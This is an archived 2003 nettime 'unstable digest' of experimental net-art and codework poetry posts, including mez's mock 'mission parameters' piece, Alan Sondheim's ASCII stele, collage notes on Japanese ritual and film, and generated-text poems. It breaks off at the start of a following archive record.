|effortsforwater,Ixion'swheelstoodstill,thevultureceased\n                   |totearthegiant'sliver,thedaughtersofDanausrestedfrom\n                    |theirtaskofdrawingwaterinasieve,andSisyphussatonhis\n                    |rocktolisten.Thenforthefirsttime,itissaid,thecheeks\n                  |oftheFurieswerewetwithtears.Proserpinecouldnotresist,\n  |andPlutohimselfgaveway.\"S\u013adegiretterforentypespr\u013ak |ogfornuftlikevel.\n-->\n</html>\n\n<!--\n\t\t\t\t    original URL:\n                    http://noemata.net/bmg/bemailhost.php\n-->\n\n\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: _Boxed A[rray]ndrogynous_ Force:[Mission Parameters]\nDate: Tue, 22 Apr 2003 20:34:17 +1000\n\n\n\n\n_MISSION_:\n[createman_man_ Box Androge;1]\n[Create incept file Box Androge with size 1 concept.]\n\n+ mission parameters: a small tagged operative _BOX ANDROGYNOUS_ Force is 2 \ntact.ically <insert> androglossia in2 the TARGET.\n\n+ r[s]eduction thermal imaging is 2 b m.ployed by agents 1 +5. androgenic \nhormone imaging is 2 b n.duced by agents 2,3,4 +1.\n\n\n_Squad BOX ANDROGYNOUS_:\n[map_man_ 2;3;4;+1]\n[man name 2 to file 3 with share androge name 4, read-only or not (+1=1 or \n0).]\n\n+ a BA-Array1000 con.figuration will b m.ployed 2 guide the BA team of up 2 \n5 men. The BA <insert>ion team is 2 b armed like so:\n\nRank BA Start [Sex]F[ormat]ield Weapon\nSlippery.Want  BA-69 Thru Cute.Coded.Teeth 6mm Pro\nFlash.Biting  BA-67 Switch.Moody 6mm Pro\nProlix  BA-70 Ported.Thru.Silkwurm.Skin 6mm Pro\nPrivate.Rimming  BA-69 With.Window.Open 6mm Pro\nSalivating.Holes  BA-89 Mini.Video.Taped (Squad Machismo Weapon)\nS.livery.Armed Moments A-1972 SMW\nPurring.Boundary B-1982 SMW\n\n+ each man has 1 potential situation[s] via which n.sertion will take place.\n\n\n_TARGET_:\n[unmap_woman_ target]\n[erase name target from the current procedure and, if it is not still \nmapped (by the current BA or some other process) unmap the associated tape.]\n\n+ a c.rash scenario is structured 2 include the <n.sert>ion target. she \nwill b [s]wearing a silver hustler t[v]-shirt or b.lack lycra cross-fader \nor red d.co[i]nstructed rhino crop-top with SeduceSensor on it. The TARGET \nwill b armed like so:\n\nRipped.Labia-tag Weapon Holster [Fashion Points Damage]\nTARGET Brand 40 .40 calibre automatic comeback Short Range Vocab 2\nBITCH Slap 40 .40 calibre automatic verbal whiplash Short Range Growling 2\n5 x Squad Mezchismo Weapons acting as body guards.\n\n+ TARGET is present  {AT}  c.rash site.\n[share_ Box Androge_ 1;+5]\n[obtain access to a mapped woman under BA man 1 and share name +5]\n\n+ she cannot move more than 10 c.licks from the crash site until the BAs \nprovides 5 minutes of  sweetener attn. TARGET or BA 1 +5 cannot b replaced.\n\n+ TARGET must p.lay this mission as follows:\n- her prim[ed].ary object.ive is 2 survive m.otionally intact + there4 will \nnot n.gage in direct androglossia combat.\n- she will re:main under cova as much as is clubbishly possible.\n- she will surrender if crash site is successfully ova.androgynized.\n- she will not try 2 esc.ape BAs unless totally unguarded.\n- if captured, she will follow the n.s[ex]tructions of her captors.\n\n\n_BRIEFINGS: BA_\n[showmap_BA_ '']\n[A BA table of boy headings and one row of information for each mapped xy \nsequence: name, location, share (or nick) name, sms handle, sex_preference \nhandle, address, size, and number of test markers.]\n\n+ u are a member of the  _BOX ANDROGYNOUS_ force who has been tagged 2 \ntact.ically <insert> androglossia in2 the target  {AT}  [</>]loc.ation.\n+ most of the information is class.ified  {AT}  this current time.\n+ u will be tactically <insert>ed into the c.rash site containing the TARGET.\n+ ur mission is 2 find the TARGET & using r[s]eduction thermal imaging or \nandrogenic hormone imaging n.fect her with androglossia.\n+ the c.rash site is marked on the mapped_array that your commanding _BOXER \nANDROGYNE_ has, but due 2 an m.penetra[tion]ble meme.nt, u and ur fellow \nBAs have 2 b <insert>ed approx. 69 c.licks away. 1nce inserted, it is \nm.perative that you s[e(e)d.uce]tabilise the TARGET b4  {AT} tempting removal \nfrom the c.rash site back to the HOT ZONE.\n+ u will be penalised if the TARGET dies b4 n.fection.\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: the stele, stele of names\nDate: Sun, 27 Apr 2003 00:00:36 -0400 (EDT)\n\n\n\n\n\nthe stele, stele of names\n\n\nthe stele of unforgiving truth\nthe stele of unforgiving truth\nthe stele of unforgiving truth\nthe stele of unforgiving truth\nthe stele of unforgiving truth\nbut read the stele of AB.BA.HI.A.sondheim\nthe stele of AB.BA.HI.A.sondheim\n/^$/ { \"the stele of unforgiving truth\" }\n/[q]+/ { \"but read the stele of AB.BA.HI.A.sondheim\" }\nbut read the stele of AB.BA.HI.A.sondheim\n       #\n       #\n       # ###\n             ###\n              #  ###\n              #      ###\n              #      #######\n              #  #########\n             ########\n       # #########\n       ######\n       ###\n       #\n       #                   #\n       #####################\n       #####################\n       #           #       #\n       #           #       #\n       #           #       #\n       ##         ##       #\n        ##       ####     ##\n        ##########  #######\n          #######     ###\n        ##\n       ###\n        ##\n       #                   #\n       #####################\n       #####################\n       #           #       #\n       #           #       #\n       #           #       #\n       ##         ##       #\n        ##       ####     ##\n        ##########  #######\n          #######     ###\n                           #\n             ###############\n          ##################\n        #####              #\n        ##\n       ##\n       ##\n        #\n         ##                #\n          ##################\n                           #\n              #\n              #\n              #\n              #\n              #\n              #\n                           #\n                          ##\n                        ####\n                    ########\n       #          ######   #\n       ##############\n       ###########\n       #           ##\n                       ##  #\n                          ##\n                           #\n       #\n       #\n       # ###\n             ###\n              #  ###\n              #      ###\n              #      #######\n              #  #########\n             ########\n       # #########\n       ######\n       ###\n       #\nthe coercion of unforgiving truth\n### ######## ## ########### #####\nthe stele of the foundation\n### ##### ## ### ##########\nthe stele of the name\n### ##### ## ### ####\nstele of names\n##### ## #####\nstele of names\n##### ## #####\n---\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"RE:Veressette\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: .llog\nDate: Sun, 27 Apr 2003 09:22:47 -0600\n\nbckUp--->02.a)knew lange:\nautumn-frequency\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"resstte\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [ src]_fld\nDate: Tue, 29 Apr 2003 21:00:34 -0600\n\n01. 8-bit identikit\n-------------------\n 00001010\n+11111101\n---------\n000000111\n=========\n07. sum idatameant RE:sults f:ROM (\"final carry bit\") TO:\nautumn-frequency\n\n\n\n\nDate: Fri, 2 May 2003 16:50:22 -0700\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: nihon notes:\n\nnihon notes:\n\nNNNNNNNNNnnnnnnnnnNNNNNNNNNnnnnnnnnnNNNNNNNNNNnnnnnnnnnnNNNNNNNNNNnnnnnnnnnnNNNNNNNNN\nNnnnnnnnnNNNNNNNN\nnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNnnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNn\nnnnnnnnnnnnNNNNnnnnnnnn\nNNNNNNNNNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnNNNN\nNNNNNNNNnnnnnnnnNN\n\nIt started as a religious ritual at horse stables, during which a monkey danced to\nheal ill horses...\n\nfor then this pod whose nothingness nourishes was bodhidharma-->             fig.6\nThe Structure of Power and its Transformation in Utsubozaro\nthenthat[ example. effigy spoon\nthenthat[ example. effigy vessel\nthenthat[ example. kotan-kor-kamuy\n\n[the writing of anomalous symbols] thatching the air of air>>>>>> rolling timbres..\nlongago.. when Tanuki sailed with Rabbit in his Itaomachip..\n\nTHE SONG OF NEZAHUALPILLI DURING THE WAR WITH HUEXOTZINCO:\nhttp://www.hevanet.com/solipsis/japan/page_01.htm\n\ni am intoxicated,\nintoxicated is my heart:\nday is dawning,\nalready the zacuan bird is singing\nabove the inclosure of shields,\nabove the inclosure of darts.\n\n|      |        |||   |      |     |      |        |||   | |      |        |||   |\n|      |     |      | ||      |        |      |        |||   |      |      ||||   |\n|      ||      |        |||   |      |      ||      |        |||   |      |      ||\n|        |||   |      |      ||      |        |||   |      | |      |        |||   |\n|      |     ||      |   |      |        |||   |      |      |     |||   |      |\n||      |        |||      |        |||   |      |      ||   |      |      ||      |\n|||   |      |      ||      |        |||   | |      |        |      |        |||   |\n|      ||||   |      |      |     |      ||      |        |||   |      |      ||\n|        |||   |      |      |      |        |||   |      |      |||      |\n|||   |  |      |        ||      |        |||   |      |      |||   |      |      |\n|      ||      |        |||   |     |      |        |||   |      |      | |      ||\n|        |||   |      |      ||      |        |||   |      |      |      |        |||\n|      |      |||   |      |        |||   |      |      |   |      |      |\n|||   |      |      |  |||   | |    |      |        |||  |      |        |||   |\n|      | |      |      |  |        ||      |        |||   |      |      |||   |\n|      |     |      ||     |      |        |||   |      |      | |        |||   |\n|   |      |        |||   |      |      ||      |        |||   |    |      |\n|||   |      |      |  |      |   ||      |        |||   |      |      |        |||\n|      |        |||   |      |      ||      |      ||      ||      |        |||   |\n||      |    |      |        |||   |      |      |  |        |||   |      |      ||\n|||   |      |      |  |      |        |||   |      |      |    ||      |        |||\n|      |      ||      |        |||   |      |      ||      |        |||   |      |\n||      |        |||   |    |      |        |||   |      |      |  |      ||      |\n||      |        |||   |      |      |||   |      |      ||      |        |||   |\n|  |      |        |||   |      |    |      |     |      |        |||   |      |\n|   |||   |      |      |  |    ||      |        |||   |      |      |      |\n|||   |      |      |||      |        |||   |      |      ||      |        |||   |\n|      |||      |        |||   |      |      | |      |        |||   |      |      ||\n|        |||   |      |      |     |        ||||      |        |||   |      |      ||\n|        |||   |      |      |   |      |      |\n\nTokyo Nagaremono//the anomalous symbol: jackdaw {Koroshi No Akurin}XXXXXXXXX\\\\\n                                //the anomalous symbol: wastingface {Koroshi No\nAkurin}XXXXXXXX\\\\\n                            //the anomalous symbol: thiswill knot RUIN the hide\n{Koroshi No Akurin}XX\\\\\n                        //the anomalous symbol: dirigible on on subjectmonkey\n{Koroshi No Akurin}XX\\\\\n                    //the anomalous symbol: face contracts in the symbol of a flower\n{Koroshi No Akurin}\n                //the anomalous symbol: distorted face makes a flower {Koroshi No\nAkurin}XXXXXX\\\\\n            //the anomalous symbol: plaintive flute runs up the kimono {Koroshi No\nAkurin}XXXXXX\\\\\n        //the anomalous symbol: plaited smoke, then paper {Koroshi No\nAkurin}XXXXXXXXXXXX\\\\\n\nfor something which lept from beneath the monkey courtier's fine black silk hat:\n\nexample: KINGFISH/FISHEROWL // [T=kamuy] Yaju no Seishun\n\na tworn and tweathered lump,       http://home.att.net/~fukuoka/fukuoka/nikkatsu.jpg\na twisted and treduced form, smooth,\nhttp://village.infoweb.ne.jp/~fwhj5337/Sy-list/jpeg/nikkatsu.jpg\na featureless orb whose trotation,\nhttp://www.ucalgary.ca/~tstronds/nostalghia.com/ThePosters/covers/LD/japan_ivan_front\n.jpg\na triver stone painted by child's hands,\nhttp://oohara.mt.tama.hosei.ac.jp/museum/page04.html\nthe clasping and unclasping of unhuman hands,\nhttp://www.mobilixnet.dk/~mob75584/kill.gif\nthe trolling and shallow breathing of gods,\nhttp://member.nifty.ne.jp/toyfes/7th/dealer/page/img/7163.jpg\n\nEniwa A ash: 14,000 BP [jizo turns into juka and back again, oscillating rhythmically\nand changing color]\n\n                                                                      a turning leaf,\nfig3. The Monkey and the Trainer as Mediators and Marginals\n                                                   wherefore an                  iron\ndaruma                    fig4. A Monolithic Universe\n                                                    was wrought\nwhose inner\n                                                        cavity was\ncovered in\n                                                        the fine\nand\n         Shempu Den                    egg-shell                             thin\nKenka Ereji\n                                                             steel\nand                                  Kenka Ereji\n                                                                of\nmirrored\n                                                      chrome\na lining\n                                                     which\nreflected a\n                                                 flaming\ncorpse\n                                                whose\nname was\n                                                Mirror\npure ghost\n                                       of transcendental         image     purpose of\nreflection\n\nTheir shattered kotan hung near the fisheries of memory, where syphilis, smallpox,\nmeasles made their uimam\nand joined in the iyomante..\n\nKing Noshikosa of Shamokotan would not see the 3 grotesque dreams of Tokyo, Oregon,\nand Kusatsu:\n\nK: The Hag who seared her prehensile clitoris on the folding metal griddle-altar\nbecome a portable \"burden-amulet\"..\nT: The Television show where skateboarding teenagers dressed as sushi jumped and\ncavorted in a fanciful skatepark\nwhere parody \"unkotraps\" were made from icecream the color of coffee and milk\nsprinkled with peanuts, swirled stylistically\ninto turd-like forms on the floor; contestants would literally \"hit the shit\" and\nwreck in their brink pink and orange flesh colored costumes.\nO: A dream of a succubus-like yurei of beautiful Oyuki who turns into the monstrous\nbald and disfigured Oiwa.\n\nThree Monstrous Dreams= 3   Whenever there was a decision to leave, he would su????\n\nthen reserve account: Gozen sanji no gangu (Toys at 3A.M.)\n\nBikky Sunazawa's _Aoi sakyu nite_ (In the Blue Sand Dune)\n\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n3+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-33+[INAW(3)INAW]-3\n=3INAW\n\nIn Ueno Park, near the Statue of the Samurai w/ Dog, individual human cell-kotans,\nwe say Homeless in America, and the term is EX. negative. [What is a special Status\nPerson?]\n\n[See the Section entitled \"Special Status People as Nonresidents\", Pg.84 in\nEmiko Ohnuki-Tierney's _The Monkey as Mirror: Symbolic Transformations in\nJapanese History and Ritual_]\n\nEX: In addition to the shokunin and kawaramono, a number of other categories\nof people loosely included in the special status group, made up the non-resident\npopulation. These included mooto (outsiders), kojiki (beggars), hijiri (saints),\nand the hinin. A brief account of the hinin during this period succinctly illustrates\nthe nature of the special status people at the time - marginal without being\nnegative in valuation. A group of people called the hinin first appeared during\nthe early phase of the Heian period (794-1185) and became more visible in\ncities only after the mid-Heian period. Although the literal meaning of hinin is\n\"non-human,\" during the Midieval period the term referred to those individuals\nwhovoluntarily abandoned their society. The hinin included a small number of\ncriminals who were expelled by the society and plain beggars who begged\npurely for economic rather than religious reasons. But many hinin were hijiri\n(saints) who, primarily fro religious reasons, decided to leave society (shukke)\nand to reject the demands and responsibilities of their secular life as citizens,\nsuch as paying taxes. As outsiders of the system, the hijiri stood for an anti-\nestablishment element in that their abandonment of society symbolically repre-\nsented a critical stance against the institutionalized religions that were\nincreasingly\nidentified with political power.\nx\n\nXX\n           \\___                                    ___/\nXXXX\n              O                                        O\nXXXXXX\n\nXXXXXXXX\n\nXXXXXXXXXX\n                                  | |\nXXXXXXXXXXXX\n|----------------------------------------------------------------|\nXXXXXXXXXXXXXX\n\nXXXXXXXXXXXXXXXX\nDetective Bureau 2-3: Go To Hell, Bastards!\nXXXXXXXXXXXXXXXXXX\n\nMASSE TO WAS                (the end of the world\n[aka Detective Bureau 2-3: Down With The Wicked]\nBECHI NI WA ARAJI             is nothing but this:\nJapanese title: Tantei Jimbusho 23: Kutabare Akuto Domo\nKI NO SHITA NO                 Watching the Monkey.)\nDirector: Seijun Suzuki\nXXXXXXXXXXXXXXXXXXX\nProducer: Shozo Ashida\nScreenplay: Iwao Yamazaki (based on a novel by Haruhiko Oyabu)\nCinematography: Shigeyoshi Mine\nMusic: Haruo Ibe\nProduction Co.: Nikkatsu\nPrint Source: Nikkatsu\nLanguage: Japanese - subtitled\nGauge: 35mm\nDate: 1963\nDuration: 89 minutes\n\nDynamo of Cars:::::::::::::::{\nhttp://miwako-f.hp.infoseek.co.jp/nikkatsu/akiradokuhon01.jpg\n\nIn some areas, flooded with pilgrims, a fever of charity broke out and raged as hot\nas the fever of pilgrimage.\nSome gave free food and a bath to those who sought shelter under their eaves. Others\nopened up their homes\nto offer free lodging. Finally there was a rush to rent houses and throw them open as\ncharity inns. Even those\ntough-bitten characters the kago-bearers caught the spirit and gave free rides to\ntravel-worn children and old\npeople.\n\n\n\nTo: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>,\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  FOUND IN THE INVISIBLE\nDate: Sun, 20 Apr 2003 16:58:41 +0200\n\n  \" I WANT TO FORGET ABOUT TEXT \"\n\nAt 16:04 20/04/03 +0200, Johan Meskens CS2 jmcs2 redet:\n>FOUND IN THE INVISIBLE\n\nForkedium sainfout -3  | 0 --- she5whits. 0  . 0 -  / 0 -  \\_ ral -3 193 -6 \n-3 10  . 0 me thize\n-1 28 0 [ /\\ 0 [  \\ sayinexperiould  -- wite6a1of  -- 001 27 - \nsayinstionmer thim seems se amorthing 00003 8- 0 mill.\n/ 0  -3 8  /lioull - wantaing 0 0 -3 0003 0 - 003 110% onexped  . shoutical \nellizen con th tral > \"whoseemedits. 003 8- 0 -3 198 ---> -  \\ 001 6\n-3  .marks ingtherivan barked  \\ took 6 -  --> - 0 -  - - 001 340 - 003 -3 \n110% onetwormabount dif we\n- 0 -1 6\n  -3 --> > >\n  /  \\/__ 0 ---- 001 8- se ine -3 1- 0 --. 0 [  .  . 0  \\ tre - sh \nighttaway's not - 0  - wang trimerixilal\n- she\n\n/__ 0 migh, hiss a infountawaystrione nill emarks seemaren arkedient to \nwanetactiterpowe - - se tre a ingthe ne tren chave a countral\n-- sumencludevell.\n/___\\/  | 0 0 0002 730 -  |  \\ 0 - shormarentl -  \\/  .--.  - 002 730 -6 \n/  ./  / seembacticandren thount do whe amorphre tre ithe5whound\n-1 --> \"whe\n--  \\/__\\ shows\n\\/ 003 193 193 8 -6 /\\  \\/ staway's sualizat of i be --. 7 - \n-1)2i3thouthave trequir4thisugge ne6angthe trivalso  - - - shens sher \n-  --.-- 0 [  \\____/__ richistapubletic ond\n\n  //  -6 // BACK  /\\ sair\n- 0 0 ---- 0 0 --\n\n/\\ - 0  --> \"a it ove nilthisioultairogosphose nothoulletwouther \n-1)2i3thoush as now rixi doesuag.\n- shountrionetizat of\n.--- 0001 27  - 002 7 - 0  | 0  //  --. 7 0  -1 34 -6 -6 \\/ BACK 6\n-1 -  \\  /liss  -1)2i3thave as\n\\/__/___  -1)2i3the\n  / shenclusholon blisugh thol; I\n-- - -3 0000003 193 001 - 002 -3 -1 --.  \\/ BACK  / 003  \\ -3  - 0003 -----> >\n\n  .  -3 -6 { } 6\n/___ on trimen be -6 /\\ 0 0 003  \\/ BACK 6\n/lizat --\n/\\ 0 - 0 mer trat4hiterichity she the nexill.\n/\\  | tral ell angual\n- wormabouth asonetworpowe nins  . 0  -6 {  --. 003 1 3 001 - se and\n  \\__ rixi ---. stenvir\n\\_ onetaput on trimenvis suagesiblopheresuag.\n-1)2i3thould \"a infoullec toher wound\n\\_ 0 0 mediuman be a infough and\n//  - 0 -3 8  . 0002  --.--.----> am\n-1)2i3thit -1 27 werphow amor we\n\\ shologrews\n-1)2i3the ingual\n.---> -3 10 mant dits  /lisibly wougge --- 003  \\__ on a flalic thave nite \n-----  \\/__/_____\\/__/___\\ 001 3- 0  \\_ ounilane6a1of2that of i bactiten \nbrogosphountre niffus saing? Howe next diumen thit tral - whisuages isiound \nsh thite6--  .  . wilack unit tohe an be nilplus is netionmertapubly\n- 0 -3 0 mat4hing5landif thit decen buthity sh isum  \\/ 0  ./  -  .maboulle \na  --> -3 10 [  ./ 0 mathen and\n-3 1- 001 - - 0003 0 mas se -3 8 003 003 0 math to\n\n\n\\ 0  -6 / 0 001 8 0  \\/ -3 -3 110% outhormabountl an chatichtnillizatic \nothen bly\n\\_ 001 3 002 7  | 0 -6 blics niter -6 - 0 -  -3 114 0003 198 -  -3 -1 20  - \n0  \\ 0  - 0  -- 0  .manerixille infouthose a flan then bliss  --> angther \nme the -6 ---> \"a i l -3 0 [  -1 -6 \\  .-- 0 markingual\n\n\\_ onmedite ingthingthe thaveliounial\n\\  . 0 - 0 0 - sh i -1)2i3the anexiad saing 0 -1)2i3thave nothosphose nowe \nnillizath i l andium cal\n- 0  /\\ 002 731 -1)2i3therphe as i do\n    - - whaine6a1of a shor  - 001 3343 10  -6 -6 {  /____/ 002 0 -1)2i3the5w\n\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://www.socialfiction.org/scrabble\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nwww.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"RE:Ply_02\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [ .llog]iCC\n\ncalt.x.miniNaimes:\nsuch ast:\n\u02c7 mu_seek_Que--->Electro(c)oni(krey)Que(tte)\n\u02c7 k-lined\n\u02c7 re:fused\n\u02c7 wrec;cordings\n\u02c7 old-c \n\u02c7 dat.burnt_k\n\u02c7 rev.bur.d(n).doc\n\u02c7 b.y(e)/b.y(u);bur.n(t).doc\n\u02c7 kryst.aLL x.presst \n\u02c7 b.j\u00f6rn \n\u02c7 btchfrc \n\u02c7 ntrLL bnds \n\u02c7 gldp \n\u02c7 bdmj \n\u02c7 glbLL.8000 \n\u02c7 blg \n\u02c7 tyt \n\u02c7 wrbrdg \n\u02c7 dds+logo \n\u02c7 drmhckk \n\u02c7 dgtLL.x \n\u02c7 dgtLL.xi \n\u02c7 ptflmfstvLL \n\u02c7 CCeRR--->playeRR\n\u02c7 RE:mote_gameMenu \n\u02c7 RE:mote \n\u02c7 lvr.k-line \n\u02c7 grl \n\u02c7 glbLL.ver \n\u02c7 hyoushi \n\u02c7 hyrp+logo \n\u02c7 jm+logo \n\u02c7 n.rec;cord\n\u02c7 mic.webkam \n\u02c7 pouppeeFabrik \n\u02c7 r\u00f6daKorsetteSt\u00f6dgala \n\u02c7 tmp_read\n\u02c7 coax_k\n\u02c7 cobra_con_ver.(3.0b)\n\u02c7 urban_coax_kscape \n\u02c7 tmp_transLit\n\u02c7 timeSweept\n\u02c7 telia.direkt-con.xt.x/i/ON \n\u02c7 h-OR-isontaLL \n\u02c7 betaMax.krew \n\u02c7 hide-vs-~hazzz3/.hazeLLe.ton\n\u02c7 robin=\"UP\"_subPin\n\u02c7 mic.k-Line-eyye-K-rev.ep.(1)_(c)OA(c)\n\u02c7 sh!ft\n\u02c7 f(r)ameWhr\n\u02c7 macro(s)\n\u02c7 about mic\n\u02c7 \"ON\"=thistle \n\u02c7 gen_eRRaLL_knews\n\u02c7 mic.guestNet\n\u02c7 webkam\n\u02c7 held\n\u02c7 bin\nautumn-frequency\n\n\n\n\n\nDate: Fri, 25 Apr 2003 00:27:32 +0200\nFrom: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Re: ar\n\n\n\nafar\n\n| | | | | | | (bag\n                     (cliff\n                            (filch\n                                     (gab;\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\nafter\n\nant\n\n                                         )\n                           antenna)\n                       arf)\n\n                bare)\n\nBennett\nBennett\nBennett\nBennett\nBennett\nBennett\nBennett\nBennett\nBennett's\nBennett's BrueckL;\n\nBrueckL\nBrueckL\nBrueckL\nBrueckL\nBrueckL\nBrueckL\n\nFlag; Flag; flay; flung\ngel; goof; Gulp\nheadlights\n\n                                    Flag;\n\niceichickyid\nilchioJohn;\n\nM\nM\nM\nM\nM\noof;\n\nUp\nwater\nwrote\nzilch\n.\n\n\n\n/KET (after ...)\n\n\n\n\n\n\nnettime unstable digest vol 45\nSun May  4 12:48:00 2003\n\n\nSubject: beMyGhost = eMailHost + BG_\n    From: born.matronym <magh {AT} chello.no>\n    To: \"_arc.hive_ {AT} lm.va.com.au\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: _Boxed A[rray]ndrogynous_ Force:[Mission Parameters]\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: the stele, stele of names\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: .llog\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"RE:Veressette\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: Re: [ src]_fld\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"resstte\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: nihon notes:\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  FOUND IN THE INVISIBLE\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>,\n\nSubject: Re: [ .llog]iCC\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"RE:Ply_02\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: Re: ar\n    From: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 4 May 2003 12:48:51 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200305041636.h44GaKO23064 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00004.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 45"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00115",
                "content": "\n\n\n\n\nDate: Sun, 15 Jun 2003 11:47:18 +0200\nTo: o-o {AT} konf.lt\nSubject: rain\nFrom: o-o {AT} konf.lt\n\n\n\n-------- Original Message --------\nSubject: (asco-o) unknown.php?landscape=20030615133449\n\n   \\\\                                 \\\\\n                                        `\n      `         |     |\n     ` `       \\\\     \\\\\n      |   \\\\       \\\\     \\\\                |\n       \\\\   `      \\\\     `              |          \n        \\\\  `\\\\      `     \\\\    \\\\        \\\\           \\\\\n          \\'   \\\\`      \\\\     \\\\    \\\\        \\\\           `\n              \\\\ `                \\\\       \\\\    \\'       `\n                \\\\  \\\\\\\\      \\\\      \\\\       \\\\     `\\\\\n                ` \\\\ `\\\\\\\\    \\\\             |        `\\\\\\\\\n            \\\\     `\\\\    `\\\\   \\\\            |            `\\'   \\\\\n              \\\\      \\\\\\\\                     \\\\                  |\n              \\\\      \\\\                      `                \\\\\n               \\\\      `                |     `  \\\\            `\n                